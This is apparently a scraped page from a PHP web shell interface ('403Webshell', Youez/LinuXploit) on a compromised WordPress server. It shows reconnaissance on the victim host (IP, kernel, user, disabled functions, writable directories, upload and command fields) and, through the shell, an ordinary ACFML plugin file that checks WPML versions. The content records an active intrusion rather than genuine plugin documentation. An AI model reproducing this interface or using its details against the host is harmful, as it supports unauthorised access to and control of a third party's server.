403Webshell
Server IP : 219.234.31.115  /  Your IP : 216.73.217.134
Web Server : Apache
System : Linux ebs-140924 5.10.0-30-amd64 #1 SMP Debian 5.10.218-1 (2024-06-01) x86_64
User : vndaystarftp ( 67432)
PHP Version : 7.3.33
Disable Function : link,symlink,passthru,exec,system,shell_exec,proc_open,popen,pcntl_exec,socket_bind,stream_socket_server,pcntl_fork,pcntl_rfork
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/wwwroot/vndaystarftp/wwwroot/wp-content/plugins/acfml/classes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/wwwroot/vndaystarftp/wwwroot/wp-content/plugins/acfml/classes/class-wpml-acf-requirements.php
<?php

class WPML_ACF_Requirements {

	public function __construct() {
		add_action('plugins_loaded', array($this, 'check_wpml_core'));

		$this->check_wpml_tm_version();
	}

	public function check_wpml_core() {
		if ( ! defined( 'ICL_SITEPRESS_VERSION' ) ) {
			add_action( 'admin_notices', array( $this, 'missing_wpml_notice' ) );
		}
	}

	private function check_wpml_tm_version() {

		if ( defined( 'WPML_TM_VERSION' ) && version_compare( WPML_TM_VERSION, '2.2.4.1', '<' ) ) {
			add_action( 'admin_notices', array( $this, 'old_wpml_tm_notice' ) );
		}
	}

	public function old_wpml_tm_notice() {
		?>
		<div class="notice notice-error is-dismissible">
			<p><?php _e( 'You are using old version of WPML Translation Management. Please update to version 2.2.4.1 or newer.', 'acfml' ); ?></p>
		</div>
		<?php

	}

	public function missing_wpml_notice() {
		?>
		<div class="notice notice-error is-dismissible">
			<p><?php _e( 'ACFML is enabled but not effective. It requires WPML in order to work.', 'acfml' ); ?></p>
		</div>
		<?php
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit